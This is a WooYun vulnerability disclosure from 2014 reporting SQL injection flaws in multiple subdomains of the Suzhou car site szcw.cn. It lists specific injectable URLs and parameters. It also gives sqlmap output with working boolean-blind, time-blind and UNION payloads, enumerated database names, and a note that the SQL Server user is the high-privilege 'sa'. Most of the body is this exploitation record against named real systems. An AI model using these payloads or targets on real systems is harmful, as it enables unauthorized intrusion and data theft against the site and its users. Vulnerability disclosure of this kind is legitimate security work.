当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-075711

漏洞标题：苏州车网SQL小礼包

相关厂商：苏州车网

漏洞作者： r3nty

提交时间：2014-09-11 10:27

修复时间：2014-10-26 10:28

公开时间：2014-10-26 10:28

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-11： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-10-26： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

刚往下测试了下，原来还有好多注入点。

详细说明：

url含有contact.php?id= 内容的，全可以注射。
例如：
http://szjbh.szcw.cn/contact.php?id=235
http://oyxtl.szcw.cn/contact.php?id=359
http://szhl.szcw.cn/contact.php?id=256
http://szhdskd.szcw.cn/contact.php?id=83
http://szhmdz.szcw.cn/contact.php?id=304
http://wjdr.wj.szcw.cn/contact.php?id=288
再来一个：
http://active.szcw.cn/bmpost/form.asp?infoid=328 数据库不一样

漏洞证明：

例如：http://szjbh.szcw.cn/contact.php?id=235
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=235) AND 9537=9537 AND (1225=1225
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=235) AND SLEEP(5) AND (7508=7508
---
web application technology: PHP 5.3.3, Apache
back-end DBMS: MySQL 5.0.11   --------------
available databases [14]:
[*] auto_system
[*] cop***
[*] esa***
[*] ideap***
[*] information_schema
[*] mysql
[*] sj_c**
[*] sj_k**
[*] sj_z*
[*] sz***
[*] sz**_2012
[*] test
[*] weixin_csa***
[*] you***
第二个：
http://active.szcw.cn/bmpost/form.asp?infoid=328
Place: GET
Parameter: infoid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: infoid=328 AND 4460=4460
    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: infoid=328 UNION ALL SELECT NULL,CHAR(113)+CHAR(101)+CHAR(109)+CHA
(103)+CHAR(113)+CHAR(98)+CHAR(79)+CHAR(109)+CHAR(107)+CHAR(97)+CHAR(73)+CHAR(66
+CHAR(116)+CHAR(90)+CHAR(102)+CHAR(113)+CHAR(116)+CHAR(105)+CHAR(117)+CHAR(113)
NULL,NULL,NULL,NULL--
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005   ---------------------
available databases [14]:
[*] ActiveData_200961
[*] ActiveData_bmpo**
[*] ActiveData_Cru**
[*] ActiveData_cru**wtcc
[*] ActiveData_fo**
[*] ActiveData_QQ3
[*] ActiveData_Tigu*
[*] ActiveData_xb**
[*] kjcm_t**
[*] master
[*] model
[*] msdb
[*] STMar***
[*] tempdb
用户：
[*] esa***
[*] sa
current user:    'sa'    高权限。。。

修复方案：

20rank有木有？

版权声明：转载请注明来源 r3nty@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝